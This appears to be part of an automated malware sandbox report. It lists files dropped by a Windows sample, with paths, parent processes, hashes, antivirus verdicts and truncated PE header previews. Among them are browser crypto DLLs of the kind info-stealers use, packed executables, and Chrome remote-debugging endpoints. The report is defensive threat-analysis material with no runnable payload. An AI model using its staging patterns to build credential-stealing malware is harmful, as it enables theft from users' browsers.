Category:	dropped
Size (bytes):	44612
Entropy (8bit):	6.096066581473005
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBiwu8hDO6vP6OXiBb8JPb/YFCFcGoup1Xl3jVzXr2:z/Ps+wsI7ynEe63iWchu3VlXr4CRo1
MD5:	D913A9D2096DB2A29B84B0FAB14048FB
SHA1:	48FB96BA1E1FA5E96C6BB70551E95AEEAF9EC357
SHA-256:	D3317EECA2BDF6FBF482BE86AC98F3F59E2316DEC72A9B00218B241818032AA9
SHA-512:	366FD8A21247755113F637DC541F74202A29CF1E3CBC83C6DDA6A343262A22CE9FC724C5F936F387CB0865DCB9D0937F4B0193E1C42CAB5530553756E3676D2E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\mozglue[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\msvcp140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\nss3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3228160
Entropy (8bit):	6.64590067685428
Encrypted:	false
SSDEEP:	49152:rdvDmI+Y2ioXgK5XFnhE7RdUEvKE9SUpptinMr0SS7z8:b2mK5VhENqEvKE9S4pAM4SSs
MD5:	9FA37A32CC4E905BB5BB96735F362FA7
SHA1:	8D8F541FE63AF2D3DA608438CE9CC89013C4797E
SHA-256:	02B97DD24FF9FC704575CCE3048F30ADD174507FC8A024E02781206A802506D9
SHA-512:	E969A831E444B26E552982C971062D5D66D23AC5DB39BF44CE6C27CBFD17C5EB3FFF399D6C0C0433E1410E5DC0C412110FB2762C32F25A7CEA565946759C64AF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................P1...........@...........................1.......1...@.................................W...k...........................\|01.............................,01..................................................... . ............................@....rsrc...............................@....idata ............................@...opilsovf..........................@...xjprhixb.....@1.......1.............@....taggant.0...P1.."... 1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.3805486088401
Encrypted:	false
SSDEEP:	48:SfNaoQBTEQLfNaoQlMtQlQfNaoQQJiQQafNaoQy6Q80UrU0U8QyL:6NnQBTEQjNnQlMtQlcNnQxQdNnQy6v0K
MD5:	6B56A8C40C9AF423C7A546D51D42D1A7
SHA1:	23739549AEB1801A65B9E620FF09FC00FE791412
SHA-256:	2AAE3586CB054AABC5580B41D0DF4A993C283EDC8C4518F073872787DB6B1478
SHA-512:	1FB0CD42EFBC2AC6F6002ABC6C04923DD317765C585F3CDDAC34909123C9A2C918043D72AEE39133A5F162CA6854333FA117C9AE521472E583684C0A0407D69B
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/29EB3ABE00BFFBF67EA8F63674FBC6A0",.. "id": "29EB3ABE00BFFBF67EA8F63674FBC6A0",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/29EB3ABE00BFFBF67EA8F63674FBC6A0"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/C252BF47326DE2CC8B15529A353C7A3F",.. "id": "C252BF47326DE2CC8B15529A353C7A3F",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/C252BF47326DE2CC8B15529A353C7A3F"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe

Download File

Process:	C:\Users\user\Desktop\iUKUR1nUyD.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2860544
Entropy (8bit):	6.481765972096441
Encrypted:	false
SSDEEP:	49152:BIjaWjwD2FoWFnyBb+wAzdvztqLWCk+D8:mjaWjwDMoWJyx+wIztqiCky8
MD5:	647D406859985059FC39F0273BABE2EA
SHA1:	9EB797C7DD5C08D315DA9D2332A5CA809DBBFC0F
SHA-256:	3A13BDCE46A7886C685D9BB5A06F62BCB5FEAB1955219DEC4C4C954E5A558E10
SHA-512:	A338DE214E36911C3563498A2020025BA15DF8402929BECBDBBD8C66647DCEA8317EAE4E2050F1DC9C139FD1B18EDEC9ABA331B3D9CC91C98DA81E97C4D42631
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ....................... ,.....m:,...`.................................U...i....`..D........................................................................................................... . .@... ...@... ..............@....rsrc...D....`.......`..............@....idata . ...........f..............@...rbjmaado. +.......+..h..............@...rfadrvwi. ....+.......+.............@....taggant.@....+.."....+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe

Download File

Process:	C:\Users\user\Desktop\iUKUR1nUyD.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5140992
Entropy (8bit):	5.564589914623742
Encrypted:	false
SSDEEP:	24576:AM2YSzOsf4IZAkLjubg1YNOVM338HxmSwW09p/meWAJt9QaoRLdoqjhKTC+YsziS:aji7xFbqYN4rZ0CexSaedx+9SLUtd
MD5:	18DC0107B3BD2372C4AD86965F823315
SHA1:	1625AE70D30C4E458B429FBF5DE22CBABE1203C7
SHA-256:	AB59A1690B6143EB45CD3389C4D3A70D3258E81C3DCDF1A4B8F3B4A8B4F077B1
SHA-512:	C7A6B06B03C1CFE77FCA1EB6C036881162D0F93C9ECA88F6B178E7F284FB7559ADDF3AAB4B0DF82BD3AED98772C5B99AE968FF15349A53126A90F9E67106B3A8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........N...........@...........................N....._.N...@.................................M.$.a.....$.......................$..................................................................................... . ..$.......$.................@....rsrc.........$.......$.............@....idata ......$.......$.............@...lsatlxzt..)...$...)...$.............@...iiwizmeh.....pN......LN.............@....taggant.0....N.."...PN.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Documents\BAAFBFBAAK.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3228160
Entropy (8bit):	6.64590067685428
Encrypted:	false
SSDEEP:	49152:rdvDmI+Y2ioXgK5XFnhE7RdUEvKE9SUpptinMr0SS7z8:b2mK5VhENqEvKE9S4pAM4SSs
MD5:	9FA37A32CC4E905BB5BB96735F362FA7
SHA1:	8D8F541FE63AF2D3DA608438CE9CC89013C4797E
SHA-256:	02B97DD24FF9FC704575CCE3048F30ADD174507FC8A024E02781206A802506D9
SHA-512:	E969A831E444B26E552982C971062D5D66D23AC5DB39BF44CE6C27CBFD17C5EB3FFF399D6C0C0433E1410E5DC0C412110FB2762C32F25A7CEA565946759C64AF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................P1...........@...........................1.......1...@.................................W...k...........................\|01.............................,01..................................................... . ............................@....rsrc...............................@....idata ............................@...opilsovf..........................@...xjprhixb.....@1.......1.............@....taggant.0...P1.."... 1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 24 10:39:56 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.974300951676899
Encrypted:	false
SSDEEP:	48:8jdzT7/7HFidAKZdA19ehwiZUklqehAy+3:89fLPy
MD5:	5568A147F1E1F3AA4C33F8B6B9379963
SHA1:	D62DEFC7DF9AB97BE77DB92547D4A3452102D62B
SHA-256:	1BA3912E59D877B5DE02E3E94660778F11AFC6956DDDE19E50DB124486AE6777
SHA-512:	0A942729027906EE1264D9AD701B8302A125DE8D896C19E6785069942194F28A0785F624122ECF916E3AB6C894C7813A0BD79817E9433D270DA28B7771BF72AC
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....1[..U..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.\....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.\....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.\....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.\..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.\...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............N.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 24 10:39:56 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9912823871022187
Encrypted:	false
SSDEEP:	48:8BdzT7/7HFidAKZdA1weh/iZUkAQkqeh/y+2:8/f59Qiy
MD5:	EA85B427F9F5D14588B65553DBEAE519
SHA1:	4080CA0C66BFE29A71E360694E834C82BBAB6884
SHA-256:	FB26F8FA312F666D6A365B49F32D9D4B24AD741697EC8E3F38912F1E073CEFBE
SHA-512:	C645BED681EA6AA6645658C6A39EB3E45B49836A4538A5DD8664CF5EF3F29DC5540D7B9B9734B8AAFE6C986E35A6633C4F5DC544087A831101E5DBAAB4978127
Malicious:	false
Preview:	L..................F.@.. ...$+.,......Q..U..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.\....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.\....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.\....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.\..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.\...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............N.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.001747542020636
Encrypted:	false
SSDEEP:	48:8xodzT7/sHFidAKZdA14tseh7sFiZUkmgqeh7sZy+BX:8x0fAnLy
MD5:	E81C720579FDE2D88F1BE29DF9FFBC4B
SHA1:	92B6B117DF886BEBE5892D8483D20EC95B8700B5
SHA-256:	0A388104930EC45EA2B3D914FCCF1884AD3E04C1B27744DB9703D3AA0665505B
SHA-512:	F89BBA724D3F35B5543DE05E9600E6230D7FA3560037FE72DA579801C947DFD3A5C49D600890D2D31D68F0C4B513294C14778381CA2930C008DB4D8CBBD21CCC
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.\....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.\....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.\....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.\..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............N.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 24 10:39:56 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9896506905418443
Encrypted:	false
SSDEEP:	48:8+dzT7/7HFidAKZdA1vehDiZUkwqehTy+R:8OfaBy
MD5:	9F9F2EB05F41C7584FFF1783F93A0ED3
SHA1:	43726EC2B490A7F866C431D9FC1FA856033E1606
SHA-256:	D57F1068B6A7B150B80765D5077A30616C15B6C6E2D01C5E39820A9023D85B03
SHA-512:	6D72569E1C91AC0A858C0B35C507BD8910E6794FC77BE52393787E6A08371C266838C516B851E066A8CBC360EF9C6A4369867DBA83D6B4C14AAB82089E07D85D
Malicious:	false
Preview:	L..................F.@.. ...$+.,......J..U..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.\....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.\....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.\....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.\..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.\...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............N.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 24 10:39:56 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.975769100002027
Encrypted:	false
SSDEEP:	48:8HudzT7/7HFidAKZdA1hehBiZUk1W1qehVy+C:8H+fa91y
MD5:	FF206A81E3CC89E519BEF50479E10EB9
SHA1:	32BFBD0D34350F4F3DAE9FF20972ECD310DDD1BE
SHA-256:	76A9CD29770FD87D1DBBC24DA0F1E9AD78AB2ABEDC457B46C236E51FCE2AB213
SHA-512:	D1107F35E3C1898F2A023909B93A69631C0851DF28993594884654E56FA76EB0EF8DB8E19CCD6C44FFBA5BFF51D67DE86C5B77A92C16C3FE9D430F6F502FEA48
Malicious:	false
